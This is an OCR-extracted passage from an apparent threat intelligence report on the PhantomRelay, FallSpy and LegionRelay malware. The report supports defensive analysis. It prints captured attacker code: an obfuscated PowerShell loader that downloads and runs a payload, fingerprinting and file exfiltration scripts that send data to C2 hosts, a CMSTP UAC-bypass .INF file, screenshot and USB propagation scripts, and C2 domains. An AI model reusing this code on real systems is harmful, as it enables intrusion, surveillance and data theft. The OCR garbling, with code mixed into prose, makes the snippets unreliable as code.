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function Data-Transmute { PhantomRelay’s post-compromise activity

param($raw, $mode, $k)
return $raw

} WithSecure captured and analyzed a set of post-compromise PowerShell scripts delivered
£y and executed on victim machines via PhantomRelayV1l and PhantomRelayV2. This

Remove-Module PSReadline -ErrorAction SilentlyContinue
} catch {} . .
included:

[System.Net.ServicePointManager]::SecurityProtocol = 3072

$cl = "Win32_Computer" WatChdog Script

$c2 = "System"
$c3 = "Product”

To establish persistence, a custom PowerShell script is delivered automatically by the C2
$sys = Get-WmiObject -Class ($cl + $c2) . . . ] ..
$prod = Get-WniObject -Class ($cl + $c2 + $c3) to the RAT client upon infection. The script is internally called watchdog by the threat actor.
$recon = "$env:COMPUTERNAME |$($sys.Domain) |$env:USERNAME | $PID | xRwSphOakKD5DfLpX3hS4W5hcAzTqvX4j9fsyH1YQIkwKyobEsRV12¢cHIRzvao5f |$($prod.UUID)" The Script performs the following aCtionS:

$query = Data-Transmute -raw $recon -mode "enc" -k "1UuIdZbVJyi39zBqfMSbkvbAghCzWaal"

1. Retrieves and saves the latest versions of the watchdog and initial-stage

$target = "https://chiselworksenterprise[.]com/captcha/" + $query

$uc = New-Object System.Net.WebClient PhantomRelay scripts from a remote source to disk. The watchdog script is only

$wc.Headers.Add( g . . . . . . . .
“User-Agent”, fetched and saved if it doesn’t already exist on disk (i.e. first-time installation) or if the
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/534.36 (KHTML, like Gecko) Chrome/95.4.4476.124 Safari/537.36" . ]

) force update parameter is set to true for the script.

R SN 2. Creates a scheduled task to execute the watchdog script dropped on disk one minute
$finalScript = Data-Transmute -raw $enc -mode "dec" -k "1UuIldZbVJyi39zBqfMSbkvbAghCzWaal" after the SCthUled taSk IS Created and every 3 mlnutes thereafter. If an eXIStIng
$ctx = $ExecutionContext. InvokeCommand scheduled task is found, it is removed prior to scheduled task creation.
$sBlock = $ctx.NewScriptBlock($finalScript)
$5BLock. Invoke() 3. Checks if an active C2 session is found, otherwise the watchdog script executes the

i PhantomRelay script it dropped on disk.

# <# Silent Fail #>
y The watchdog script was slightly modified between PhantomRelayVl and

Figure 38. PhantomRelayV2 fingerprinting script PhantomRelayV2. In PhantomRelayV2, the watchdog script would:

1. Store both the watchdog and the initial-stage PhantomRelay scripts under a folder in
%LOCALAPPDATA% instead of %PROGRAMDATA%

2. Log execution details to afile (e.g. “razer_update.log”) in % TEMP% directory

3.Add a custom user agent (e.g. “RazerUpdater/3.0”) to the request headers when
retrieving the watchdog and initial-stage PhantomRelay scripts.

TLP:CLEAR
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Examples of code snippets from PhantomRelayVl and PhantomRelayV2 watchdog
scripts are shown in figures 39 and 40.

Additionally, WithSecure briefly observed an enhancement to the watchdog script in late
2025 that introduced an additional persistence mechanism. Beyond the scheduled task,
the delivered watchdog script created a shortcut file within the user’s Startup folder to
maintain persistence. An example of the code implementing this behavior is shown in
Figure 41. This feature appeared to be short-lived as later iterations of the watchdog script

did not contain this functionality.

Where-Object
($targetIPs -contains $_.RemoteAddress) -and ($_.RemotePort -eq $targetPort)

# Resolve the target domain to its IP addresses. l1lati ode
$targetIPs = (Resolve-DnsName -Name $targetDomain -ErrorAction Stop).IPAddress sume Installation Mode if the script is mi force flag is se
ot (Test-Path -Path $MainFullPath)) -or $ForceReinstall) {
ot all e bed TCP ions and w he result in an ) Install-UpdateService
exit

Write-Log "Starting Update Manager..."

# If the count of matching connections is @, t no connection i
if (($activeConnections.Count -eq @) -and (Test-NetConnection -ComputerName routinesyscheckup.com # 1. Check if we are already connected (Maintain :
-Port 443 -Warning SilentlyContinue).TepT cceed $IsConnected = Test-ServiceConnectivity

Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File if (-not $IsConnected) {

" "$contentFullPath™"" -Winc yle Hid # 2. If not « ity pda
$ServerReachable = (Test-NetConnection -Co rName $ServiceConfig.RemoteHozt -Port 443

.SYNOPSIS -WarningAction SilentlyContinue).TcpTestSucceeded

$targetDomain = "routinesyscheckup.com" Raze

$targetPort = 80 if ($ServerReachable) {

Write-Log "Update server available. Launching telemetry module..."
DESCRIPTION
Execute the Payload/Content Script
jetach it from the wat
Path "powershell.exe" ~
"-NoProfile -ExecutionPolicy Bypass -File ~"$ModuleFullPath™ ™"

$contentUrl = "
.COMPONENT

i thi tr
$forcelUpdate = $fa

Write-Log "Update server unreachable.” "WARNING"

$installDirName = "Microsoft Windows"
$installPath = Join-Path -Path $env:ProgramData -ChildPath $installDirName

$mainScriptName = "SystemHealthSvc.psl" # 1 f 1ses structu onfigurati 5 S. . . .
$contentScriptName = "Configurate.psl” $ServiceConfig = @ Flgure 40_ Watchdog maln executlon bIOCk
$scriptFullPath = Join-Path -Path $installPath -ChildPath $mainScriptName RemoteHozt "newequipmentsolutions.com"
$contentFullPath = Join-Path -Path $installPath -ChildPath $contentScriptName RemotePort
UpdateSourceUri " newequipmentsolutions.com/watchdog" # Tt
Scheduled Task Detai ModuleSourceUri " newequipmentsolutions.com/captcha" # The P
$taskName = "Microsoft System Health Service"
$taskDescription = "Monitors system components and ensures core services are running correctly. Do not LocalDir "Razer Update"
disable." MainScript "RzUpdateManager.psl”
ModuleScript "RzTelemetry.psl”

AEHELT "Razer Synapse Service Helper"
TaskDesc “Manages background updates and profile synchronization for Razer devices."

}

Define instal "th yhamica
$InstallPath = J -Path -Path $env:LOCALAPPDATA hildPath $ServiceConfig.LocalDir
$MainFullPath = Join-Path -Path $InstallPath - h $ServiceConfig.MainScript
$ModuleFullPath = Join-Path -Path $InstallPath -ChildPath $ServiceConfig.ModuleScript

Figure 39. Watchdog configuration
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# PowerShell Persistence Script: Drops a launcher script and creates a startup shortcut.

¥ --- Configuration ---

# 1. The directory in ProgramData to hide the launcher script. This looks more legitimate.
$persistenceDir = "C:\ProgramData\Microsoft Windows"

# 2. The name of the PowerShell script that will be dropped to launch the main payload.
$launcherScriptName = "winupdate.ps1l”

$launcherScriptPath = Join-Path $persistenceDir $launcherScriptName

# 4. The name of the shortcut file that will be placed in the Startup folder.
$shortcutName = "Microsoft Update Service.lnk"

# --- Script Body ---

# Create the persistence directory if it doesn't already exist.
if (-not (Test-Path -Path $persistenceDir)) {

Define the content of the launcher script.

Its only job is to run your main payload silently.

Using single quotes to prevent variable expansion until the script is run.
$launcherScriptContent = @"
(([char](-333+416)+[char](622-523)+[char](-514+628)+[char](1018-913)+[char](1001-889)+[char]...

‘@

# Write the launcher script to the persistence directory.
try {
} catch {
Write-Error "[-] Failed to write launcher script. Error: $_"

# Create the .lnk shortcut in the user's startup folder.

try {

} catch {
Write-Error "[-] Failed to create startup shortcut. Error: $ "

1
J

Figure 41. Code snippet demonstrating persistence via a shortcut in the Startup folder (collapsed view)

10 https://medium.com/walmartglobaltech/manl-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618
11 https://www.splunk.com/en_us/blog/security/applocker-rules-as-defense-evasion-complete-analysis.html
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Additional fingerprinting script

In addition to the initial-stage fingerprinting, WithSecure identified a PowerShell script
delivered by the C2 to the RAT client that collects similar system information. This script
gathers and transmits the following data:

1. Local IPv4 address

2. Current local time

3. Computer name

4. Username

5. Current process ID

6. Privilege level of the user account under which the RAT client process is running
(either Admin, User or System)

Anti-sandbox script

A PowerShell script to terminate the RAT if the username or computer name matched a list
of hardcoded values. References to the hardcoded list could be found in several old
reportsi® 11 2. The content of the script is shown in figure 42.

'RALPHS-PC', 'ABC-WIN7', 'man-PC', 'luser-PC', 'Klone-PC', 'tpt-PC',
'BOBSPC', 'WillCarter-PC', 'PETER-PC', 'David-PC', 'ART-PC',
'TOM-PC', 'FAKE-PC', 'JOHN-PC’

-contains $env:COMPUTERNAME

'Peter Wilson', 'Acme', 'BOBSPC', 'Johnson', 'John', 'John Doe',
‘Rivest', 'mw', 'me', ‘'sys', 'Apiary', 'STRAZNJICA.GRUBUTT',
'Phil', 'Customer', 'shimamu', 'vboxuser'’

-contains $env:USERNAME

Figure 42. Anti-sandbox code snippet

12 https://ptsecurity.com/research/pt-esc-threat-intelligence/a-pirated-program-downloaded-from-a-torrent-site-infected-hundreds-of-
thousands-of-users/



https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618
https://www.splunk.com/en_us/blog/security/applocker-rules-as-defense-evasion-complete-analysis.html
https://ptsecurity.com/research/pt-esc-threat-intelligence/a-pirated-program-downloaded-from-a-torrent-site-infected-hundreds-of-thousands-of-users/
https://ptsecurity.com/research/pt-esc-threat-intelligence/a-pirated-program-downloaded-from-a-torrent-site-infected-hundreds-of-thousands-of-users/
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Taking screenshots

A PowerShell script (shown in figure 43) to capture a screenshot of the victim’s display. The
image is generated in PNG format and transmitted to the C2 as a base64-encoded string.

Add-Type -AssemblyMame System.Windows.Forms
Add-Type -AssemblyName System.Drawing

4bounds
$bitmap

[System_Windows.Forms.SystemInformation]: :WirtualScreen
MNew-Object System.Drawing.Bitmap $bounds.Widih, $bounds.Height
$eraphics = [System.Drawing.Graphics]::FromImage($bitmap)
$eraphics.CopyFromScreen (tbounds. X, $bounds.Y, 9, @, $bitmap.Size)

¢ms = Mew-Object System.IO.MemoryStream

$bitmap.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)
¢eraphics.Dispose()
thitmap.Dispose()

[Convert]::ToBase6AString($ms.ToArray()) | Write-Output
$m5.Di5P@5E{}

Figure 43. PowerShell script to take a screenshot of victim's screen

USB propagation script

WithSecure identified a PowerShell-based propagation script (shown in figure 44)
designed to spread PhantomRelay via connected USB drives. The script would propagate
the malware by:

1. Dropping a malicious launcher  script (“WUDFHost.ps1”) under
“%PROGRAMDATA%\Microsoft Windows”. This script launches a decoy file
specified via the “-DecoyPath” parameter and executes a hardcoded obfuscated
PowerShell command to download and execute PhantomRelay. The launcher script
content is shown in figure 45.

2. Scanning for connected USB drives
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3. Dropping a copy of the launcher script to the root directory of each connected USB
drive as a hidden file.

4. Enumerating each drive to locate the 10 most recently modified files with.pdf, .jpg,
.mp3, or .png extensions and modifying their file attributes to mark them as hidden.
These files are used as decoys.

5. Creating a malicious shortcut (.Ink) file for each decoy file, mimicking the original file
name and associated icon based on file type. The shortcut file executes the launcher
script with the decoy file’s path set as its “-DecoyPath” parameter.

Based on the type of comments found across the USB propagation script, WithSecure
assesses with high confidence that it was generated with LLM assistance.

Additionally, WithSecure discovered an archive file hosted on several PrincessClub sites
called "apxus ¢ poTo.rar" (photo archive) which contained files exhibiting characteristics
consistent with the USB propagation mechanism. The archive file contained dozens of
shortcut files in its root directory with image and video file icons. Each shortcut file (e.g.
1.Ink) executed a PowerShell script (“sync.psl”) located within a hidden directory (
“.conf”), passing a corresponding decoy file path (e.g. “.conf\1.mp4”) as its -DecoyPath
parameter.

The script “sync.psl” executed calc.exe as a test payload alongside the specified decoy
file. The archive file was likely a remnant from the group’s development or testing
phase and left hosted on live PrincessClub sites by accident. Nevertheless, it
provided further connection between the group’s PrincessClub campaign and the
group’s broader activity set.
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# --- Helper Functions (Unchanged) ---
function New-Shortcut {

}

# NOTE: This function is no longer used by the script but is kept as a utility.
function Invoke-DownloadFile {

}

function Set-ItemAttributeRobustly {
}

param(

# --- MODIFIED USB Infection Function --- [string]$DecoyPath

function Copy-ToUSB {
}

)
if (-not [string]::IsNullOrEmpty($DecoyPath) -and (Test-Path $DecoyPath)) {
Start-Process -FilePath $DecoyPath -ErrorAction SilentlyContinue

}

# --- MODIFIED Main Execution ---
$TARGET_PROGRAM_DATA_FOLDER = "$env:ProgramData\Microsoft Windows"
if (-not (Test-Path $TARGET PROGRAM DATA FOLDER)) { New-Item -Path $TARGET PROGRAM DATA FOLDER -ItemType Directory -Force | Out-Null }

try {
$conf = "(([char](-342+425)+[char](702-603)+[char](-578+692)+[char](406-301)+[char](-298+410)+[char](230-114)+[char](-358+456)+[char]108+[char]111+[char]99+[char](645-538)) -as [TYPE])::
([char]67+[char]114+[char]101+[char](368-271)+[char](-335+451)+[char](373-272))((([char](668-590)+[char](-227+328)+[char]116+[char]46+[char](88-1)+[char](-313+414)+[char]98+[char](-911
+978)+[char] (-697+805)+[char]105+[char]101+[char](-658+768)+[char](-8174933)-as[Type])::([char](-661+771)+[char](-422+523)+[char]119)().([char]68+[char](-225+336)+[char](-503+622)+[char]
110+[char](-652+760)+[char](796-685)+[char](172-75)+[char]100+[char](-521+604)+[char](-638+754)+[char]114+[char]105+[char](1000-890)+[char](-416+519))([char](471-367)+[char]116+[char]116
+[char](-484+596)+[char](-478+593)+[char]58+[char]47+[char](741-694)+[char](-357+459)+[char]97+[char]115+[char](1049-933)+[char](-260+361)+[char](-23+137)+[char]115+[char](-703+802)+[char]
(-625+736)+[char](-396+505)+[char]109+[char]117+[char](-763+873)+[char]105+[char](569-470)+[char]97+[char]116+[char](609-504)+[char](430-319)+[char]110+[char](197-82)+[char]46+[char](-898
+997)+[char]111+[char](-340+449)+[char](887-840)+[char]99+[char]97+[char](-223+335)+[char]116+[char](841-742)+[char](648-544)+[char](1091-994)))).([char]73+[char]110+[char]118+[char]111
+[char](-100+207)+[char](1+100))()"
Invoke-Expression $conf

} catch {}

# Define names for files
$universallauncherName = "WUDFHost.ps1"
$universallLauncherPath = Join-Path $TARGET_PROGRAM_DATA_FOLDER $universallauncherName

# 1. Define and Stage the Universal Launcher Script (Payload + Decoy Logic)
$universallauncherContent = @"

param(

) . . .
if (-not [string]::IsNullOrEmpty(  $DecoyPath) -and (Test-Path ~$DecoyPath)) { Flgure 45 COde Snlppet OflaunCherSC”pt

}

try {
} catch {}

@
# --- 2. Start the infinite loop for USB distribution ---
#Write-Output "Staging complete. Starting USB distribution loop..."
while ($true) {
Copy-ToUSB -UniversallauncherPath $universallauncherPath
Start-Sleep -Seconds 5

Figure 44. Code snippet from USB propagation script
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FallSpy

FallSpy is an Android spyware first observed in August 2025, which remains in active
use as of time of writing (April 2026). WithSecure assesses with moderate-to-high
confidence that the spyware is custom-developed, likely with LLM assistance, and used by
the group.

The spyware typically presents a decoy to the victim while covertly collecting and
exfiltrating information and images from the victim’s device in the background. The
presented decoy varies depending on the campaign and intended victimology. For
example, in the PrincessClub campaign, the spyware displays a PrincessClub site, as
shown in figure 46.

Across all identified samples, user-facing content is predominantly presented in Ukrainian,
with one exception using Russian (see “Nebo: A Russian Lure”). In contrast, internal
logging data is typically a mix of Russian and English.

this.T2766d. setWebViewClient(new WebViewClient());
this.f2766d. loadUrl( "https://princessclub.online/?kodek=princess2824");

Figure 46. Example of FallSpy app loading a PrincessClub site as decoy

Prior to executing its primary functionality, the spyware checks and requests the necessary
permissions needed to access the information it intends to steal. It then proceeds to collect
and exfiltrate the following information:

1. Contacts, including contact name and associated data (e.g. e-mail address or phone
number)

2.Call logs, including phone number, contact name, call timestamp, call type
(incoming, outgoing, missed, rejected, unknown), and call duration.

3.Installed applications

4. Victim’s phone number associated with each slotted SIM card
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5.Device information, including Android version, device model, manufacturer, and
Android ID

6. Network connectivity information, including information on connected networks
and their connectivity type (WiFi, mobile network, other, or no connection)

7.Wi-Fi SSID

8. Device’s last known location, including longitude and latitude

9. Public IP address, retrieved via apil.]ipify[.]org

The collected data is transmitted as encoded parameters to the FallSpy C2 endpoint at
/data

private void collectAndSendAllData() {
this.contactsData.setlength(8);
this.calllogsData.setlength(8);
this.installedAppsData.setlength(@);
this.simNumbersData.setlength(9);
this.deviceInfoData.setlength(8);
this.networkInfoData.setlength(8);
this.wifi55IDData.setlength(8);
this.locationData.setlength(8);
this.publicIPData.setlength(8);
this.galleryImages.clear();
getDeviceInfol();
getletworkTypel( );
getWifissID();
getSimMNumbers () ;
getInstalledlfpps();
getContacts();
getCalllogs();
getlastKnownlocation( );
getGalleryImages();
getPublicIPAndSend();

Figure 47. Main information stealing method implemented in FallSpy

The spyware also collects media files (images) from the victim’s device and uploads them
to the C2 endpoint at /upload using multipart/form-data.
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Additionally, the spyware performs background update checks via the /check_update
endpoint by supplying a version parameter (e.g., /check_update?version=1.1). If an
update is available (see Figure 48), the spyware retrieves the APK from a provided URL
and installs it on the victim’s device. The APK is typically hosted on the C2 path
/download/apk.

-
+
[

"critical update": true,

"download_url": "http://91.149.221.170:5000/download/apk",
"latest_wversion": "1.@",

"release_notes": "YayuweHa npowsEcoMTencHocTh”,
“update_awvailable": true

h

Figure 48. Example of C2 response indicating that an update is available

Across all analyzed C2 /download/apk endpoints, the retrieved APK consistently
corresponded to a variant of FallSpy masquerading as a camera application with QR
scanning functionality. While the core functionality of FallSpy remains unchanged, this
variant additionally exfiltrates photos and videos captured by the victim through the
masqueraded application.

Media files captured via the application are saved with filenames that embed metadata,
including timestamps and the victim’s last known location. The methods responsible for
generating these filenames are shown in Figure 49.
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private File createImageFile() {
getlastKnownlLocation();
String str = new SimpleDateFormat("yyyyMMdd_HHmmss", Locale.getDefault()).format(new Date()}) + "_
lastlocationString;
File externalFilesDir = getExternalFilesDir(Environment.DIRECTORY_PICTURES);
if (lexternalFilesDir.exists()) {
externalFilesDir.mkdirs();

" + this.androidId + "_" + this.

return new File(externalFilesDir, str + ".jpg");

private File createVideoFile() {
getlastKnownlLocation();
String str = new SimpleDateFormat("yyyyMMdd_HHmmss", Locale.getDefault()).format(new Date()}) + "_
lastlLocationString;
File externalFilesDir = getExternalFilesDir(Environment.DIRECTORY_MOVIES);
if (lexternalFilesDir.exists()) {
externalFilesDir.mkdirs();

" + this.androidId + "_" + this.

1
J
return new File(externalFilesDir, str + ".mpd")};

Figure 49. Methods in FallSpy (camera app) to save image and video files

The absence of remote execution functionality across analyzed FallSpy samples
suggests the spyware’s role is likely limited to surveillance and intelligence
gathering objectives.

The spyware has been packaged under different names including:

com.example.androvirus
com.example.cameraapp
com.example.princess
com.ua.map

L2 2
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LegionRelay

LegionRelay is a lightweight PowerShell-based RAT that uses REST API methods to
communicate with its C2. Its core functionality allows execution of arbitrary PowerShell
commands issued through operator-controlled C2 server. Although LegionRelay’s client-
side functionality is limited to executing PowerShell code received from the C2, the
implant’s broader capability setis realized through operator-staged scripts and commands
delivered during post-compromise activity, which are detailed in the subsequent section
titled “LegionRelay’s post-compromise activity”.

LegionRelay was first observed by WithSecure across the PrincessClub campaign in
December 2025 and it remains in active use as of time of writing, April 2026.

Across the PrincessClub campaign, it is dropped via a .NET loader which also takes care
of its persistence via a scheduled task. It is typically staged on disk under a folder (e.g.
AMD) in the % PROGRAMDATA% directory.

Some of its core behaviour includes:

Checking connectivity to the C2 server via /api/status
Registering the client via /api/register
Polling for commands issued for the respective client via /api/commands
Executing received PowerShell commands using Invoke-Expression inside
background jobs
-> Returning command output and exit status to /api/result
-> Storing and retrieving basic client configuration on disk from a file named
client_config.json.

L2 7

Since March 2026, a dead drop resolver technique was incorporated into the LegionRelay
client. Prior to execution, the client dynamically retrieves an encoded C2 address from a
hardcoded Telegram channel. The retrieved address is decoded by subtracting each octet
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value by 4 + n (n representing the octet index). The implementation also contains a fallback
C2 URL if the retrieval from Telegram fails. A similar dead drop resolver technique was
additionally observed in a post-compromise payload delivered via LegionRelay,
suggesting the associated group has adopted this mechanism more broadly across their
tooling to improve operational resilience and complicate infrastructure tracking. Figure 50
shows an example of dead drop resolver code shared across LegionRelay and a post-
compromise payload.

unc IpPort-FromFallbackServer {
= "https: //t.me/=d ([st 1)
rl = "hitp://19 a" r

uest 1 $url -UseBasicParsing -Errorfction Stop
ontent.Content, ‘"N\d+y.Wd+\.N\d+\. A\d+").Value

Figure 50. Example of dead drop resolver code shared across LegionRelay and a post-compromise payload

Based on LegionRelay’s implementation details including variable and method naming
style as well as design choices and flaws, WithSecure assesses with moderate-to-high
confidence that LegionRelay was developed using LLM assistance.
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LegionRelay’s post-compromise activity
WithSecure gained unique insight into LegionRelay’s operators’ actions on objectives by

analyzing thousands of operator-issued commands sent via the C2 and executed by the
implant.

WithSecure observed varied post-compromise activity that spanned nearly all stages of
the attack lifecycle. For instance, their collection activity did not appear to be purely
opportunistic. Instead, the actor appeared to prioritize files deemed sensitive or interesting
based on gained context depending on the victim’s work, role, or associated organization.
The executed commands included a mix of short hands-on-keyboard commands, such as
dir and whoami, and larger PowerShell script blocks that WithSecure assesses with
moderate-to-high confidence were developed with LLM assistance. Some general
examples include:

Directory and file enumeration and exfiltration

Following infection, the threat actor typically performs file and directory enumeration on
the victim machine. These selected files are exfiltrated via the C2 endpoint /api/upload. An
example of the exfiltration script is shown in Figure 51.
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$server = ‘ht

$file = "<RED
$filename :
$client =

$boundary

$LF = \""r'n\"
$partl = '--' + $boundary + $LF

$partl += ‘Content-Disposition: form-data; name=\"client id\"' + $LF
$partl += $LF

$partl += $client + $LF
$part2 = "--'

$part2 += 'Co ; name\"file\"; filename=\"* + $fileName + '\"' + $LF
$part2 += 'Co t-stream” + $LF
$part2 += $LF
$endBoundary = $LF + '--'
$partiBytes = [S i
$part2Bytes =

+ $boundary + '--' + $LF
= : 1UTF8.GetBytes($partl)

1 1UTF8.GetBytes($part2)

$endBytes ing]::UTF8.GetBytes($endBoundary)

$fileBytes \ :ReadAllBytes($file)

$totalsize = 3partiBytes.Length + $part2Bytes.Length + $fileBytes.Length + $endBytes.Length

$finalBody = New-Object byte[] $totalsize

$offset = 0

[System.Buffer]::BlockCopy($partiBytes, ©, $tinalBody, $offset, $partiBytes.Length)
$partiBytes.Length
tter]::BlockCopy($part2Bytes, ©, $finalBody, $offset, $part2Bytes.Length)
$part2Bytes.Length

[System.Buffer]::BlockCopy($fileBytes, @, $finalBody, $offset, $fileBytes.Length)

$offset += $fileBytes.Length

[System.Buffer]::BlockCopy($endBytes, @, $finalBody, $offset, $endBytes.Length)

$response = Invoke-RestMethod -Uri \"$server/api/upload\" -Method Post -ContentType \"multipart/form-data; boundary=$boundary\" -Body $finalBody
Write-Host \"File upload success\" -ForegroundColor Green
Write-output $response
}
catch {
Write-Host \"Error upload file: $($_.Exception.Message)\" -ForegroundColor Red

}

Figure 51. Example of script facilitating file exfiltration

In some instances, the threat actor deployed a script to automate file collection by
enumerating directories, such as the Desktop folder, filtering files by extension, and
staging selected files for exfiltration in a compressed archive. An example is shown in
Figure 52. Observed targeted file types included documents, text files, configuration files,
and certificate files. The threat actor also exfiltrated image and video files, as well as other
files of potential interest, including files whose names contained terms such as
“password”.
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¢path = '<REDACTED>'
$destination = "C:\programdata\<REDACTED>"

if (Test-Path $destination) {
$extensions = @("'*.docx", "*.doc', "*.xls', "*.xlsx', "*.pdf", "*.ppt’', "*.pptx', '*.

Write-Host 'HauuHaw apxusaumw dainoe..." -ForegroundColor Cyan
Write-Host 'NMyte: " + $path -ForegroundColor Yellow
Write-Host "ApxuB: ' + $destination -ForegroundColor Yellow

$totalFiles = @
$successfulFiles = @
$failedriles = ©

foreach ($ext in $extensions) {
$files = Get-ChildItem -Path $path -Filter $ext -File -ErrorAction SilentlyContinue
$totalFiles += $files.Count

foreach ($file in $files) {

Write-Host ' "n=== APXMBALMA 3 " -ForegroundColor Cyan

Write-Host (P z o: ' + $totalFiles) -ForegroundColor White
Write-Host (¥ neHo: ' + $successfulFiles) -ForegroundColor Green
Write-Host ('E} yaanoce pobaBute: ' + $failedFiles) -ForegroundColor Red

if (Test-Path $destination) {
$archiveSize = | ]z :Round( (Get-ITtem $destination).Length/1MB, 2)
Write-Host ('Pasmep apxuBa: ' + $archiveSize + ' MB') -ForegroundColor Yellow
Write-Host ('MyTe kK apxuey: ' + $destination) -ForegroundColor Yellow
} else {

Write-Host 'Apxue He bbin co3paH (BO3MOXHO, HeT ¢QainoB AnA apxuBauuu)' -ForegroundColor Yellow

L
J

Figure 52. Example of automated script to stage interesting files for exfiltration based on extensions
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Privilege elevation

WithSecure identified several ways the threat actor attempts to elevate LegionRelay’s
privileges on the victim’s machine, including:

Shortcut hijacking

The operator executes a script designed to elevate LegionRelay’s privileges by hijacking
shortcut files pinned to the victim’s taskbar or located on their Desktop folder. The script
modifies each shortcut to launch a custom script it drops on disk (called starter.psl) via
conhost.exe with --headless parameter, an execution technique described in an earlier
section.

The starter script checks the scheduled task associated with LegionRelay. If the task is not
configured torunas NT AUTHORITY\SYSTEM with highest privileges, the script attempts
to re-register it with those settings. To obtain the privileges required for this action, the
script relaunches itself using the runas verb, prompting the victim with a User Account
Control (UAC) dialog.

Because the UAC prompt is triggered once the victim clicks on a trusted shortcut, they may
be more likely to approve it. To preserve expected user experience and reduce suspicion,
the script then launches the legitimate executable originally referenced by the shortcut. To
clean-up, the script will restore the shortcut to its original configuration before removing
itself.

Additionally, WithSecure observed a script (called “restore.psl”) which restores all
previously hijacked shortcut files to their original configurations.
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UAC bypass via CMSTP

WithSecure observed an experimental script which attempts to bypass UAC by abusing
cmstp with a custom setup information (.INF) file. Example of .INF file content is shown in

figure 53.

[ ]

Signature=$chicago$
AdvancedINF=2.5

[ ]

CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[ ]
powershell.exe -NoProfile -ExecutionPolicy Bypass <SCRIPT_PATH>

taskkill /IM cmstp.exe /F

[ ]
49001=AllUSer_LDIDSection, 7
49002=Al1USer_LDIDSection, 7

[ _ ]
HKLM, "SOF TWARE
HKLM, "SOFTWARE
HKLM, "SOFTWARE

2 .EXE","",0x00000000, ""
2 .EXE","Profile",@x00000000,""
32.EXE","CLSID",@x00000000, "

[ ]

ServiceName=
ShortSvcName=""

mar

Figure 53. Example of constructed .INF file
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Fake Windows Update UAC prompt

WithSecure discovered a custom .NET malware component masquerading as “Windows
Update” which facilitates privilege elevation for LegionRelay. The malware registers itself
as a scheduled task named Windows Check Updater and triggers a UAC prompt each time
it runs (without Administrator privileges). Upon user approval, it re-registers LegionRelay’s
scheduled task to execute with administrator privileges, after which it removes its own
scheduled task. This approach can be effective as a sudden Windows update-related UAC
prompt may not appear suspicious to the victim, thereby increasing the likelihood of the
victim approving the UAC prompt and thus enabling the malware to obtain the necessary
privileges needed to modify LegionRelay’s persistence configuration.
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Screenshot capabilities

LegionRelay contains screenshot capabilities which are enabled through a post-
compromise script. A code snippet from this script is shown in Figure 54. WithSecure also
identified several experimental scripts with screenshot capture functionality, although
these were not observed in operational use.

gy I
Vo9

M CO3AaHWM cKpuHwoTa: $_ " -ForegroundColor Red

mScreen

$graphics.

M-dd_HH-mm-ss"
"screenshot_$timestamp.png”

$timestamp = Get-Date -Format "y
$localPath Join-Path $screensh
tr Y :

$bitmap.save($localPath,

Write-Host [ofs), o -ForegroundColor Green

¥

catch {
Write-Host "Owwmb
$localpPath

$memoryStream = New-Objec
$bitmap.Save($memorys

$bytes = $memoryStream.ToArra
$base64string = [Convert]::ToBase6

laging.ImageFormat ]

4string($bytes)

$memoryStream.Dispose()

Write-Host "===BASE64 SCREENSHOT START==="
Wr put % 645tring
Write-Host "===BASE64 SCREENSHOT END==="

Figure 54. Code snippet from screenshot capture script

TLP:CLEAR

46

Captured screenshots are uploaded and stored on the LegionRelay C2 server. The
backend includes APl methods to enumerate, retrieve, and delete stored screenshots,
examples of which are shown in Figure 55.

/api/screenshots/{client_id}/{filename} Get Screenshot

‘ »/ SR 108 /api/screenshots/{client_id}/{filename} Delete Screenshot

/api/client/{client_id}/screenshots Get Client Screenshots

Figure 55. Screenshot related APl methods found in LegionRelay C2
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Browser, Telegram, and WhatsApp data exfiltration

Operators have staged tools such as ChromElevator to collect browser-stored data, WithSecure also discovered that LegionRelay’s backend contains browser-related
including cookies, saved passwords, payment information, and authentication tokens. functionalities to likely parse and view exfiltrated browser data. Examples of REST API
WithSecure also observed the deployment of a custom Python-based credential theft methods to support these functionalities are shown in figure 57.

script, likely developed with LLM assistance, to extract browser credentials and related

data. An example of this custom script is shown in Figure 56. e

ChromeDataAnalyzer:
get_file path(self, filename, location="auto’): f’br‘owser‘s,f'{(:].ient_id}fChr‘C‘mE' Firefox Data Viewer

_analyze_history details(self, file path, 1

_analyze cookies details(self, file path, location): . . . . . .
/browsers/{client_id}/firefox/firefox_data.json Get Firefox Data
analyze login data with decryption(self):

_check_dependencies(self):

_ _ - /browsers/{client_id}/chrome/chrome_data.json Get Firefox Data
_analyze web_data wrapper(self, file path, location): —_ —

_analyze preferences_wrapper(self, file path, loca

_analyze local_state_wrapper(self, file path, location): }' browsers /' { L 1ient_id } f { browse r‘_‘t‘ype } Browser Data Viewer
_bytes_to_str(self, data):
~bytes_to_hex(self, data): /api/browser/data/{client_id}/{browser type} GetBrowser Data
_convert_chrome_time(self, chrome time):
_analyze password(self, password data): ! - pif' ex‘t - ct j st a‘t = ! { - lien‘t_id } Get Extraction Status
export_all data to single json(self):
Tri,) argparse.ArgumentParser Figure 57. Browser related APl methods found in LegionRelay C2
description= OPT AaHHex (
) - . : . . :
Additionally, operators have also demonstrated interest in data files associated with

parser. add_argusent(’~o', o e arwe B paswuam Chrone (noxio y<asat xoucpeTiah i wnw naney [ dahnam Chrone):) Telegram Desktop and WhatsApp Desktop. In some instances, they have directly
R B exfiltrated associated data files, which could later be decrypted on operator-controlled
systems. In other instances, tools such as ZAPiXDESK?!3 were staged and executed to

collect and decrypt the victim’s WhatsApp data locally before exfiltration.

parser.add _argument( path”’,

args = parser.parse_args()

analyzer = ChromeDataAnalyzer(args.path, args.output)
analyzer.export_all data_to_single json()

Figure 56. Example of custom Python script to steal browser data (collapsed view)

13 https://github.com/kraftdenker/ZAPiXDESK
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Persistent RDP Access via WireGuard Tunneling

A common post-compromise action performed via LegionRelay is to setup persistent RDP
access to the victim’s machine. To achieve this, the operator deploys a script that performs
the following actions:

1. Configures WireGuard tunneling and RDP access on the victim machine

a. The script installs and configures a WireGuard tunnel using a victim-specific
configuration file, then creates firewall rules to permit relevant traffic. Observed
firewall rule names include WG_RDP, WG_Ping, WG_RPC_135, and
WG_RPC_Dynamic.

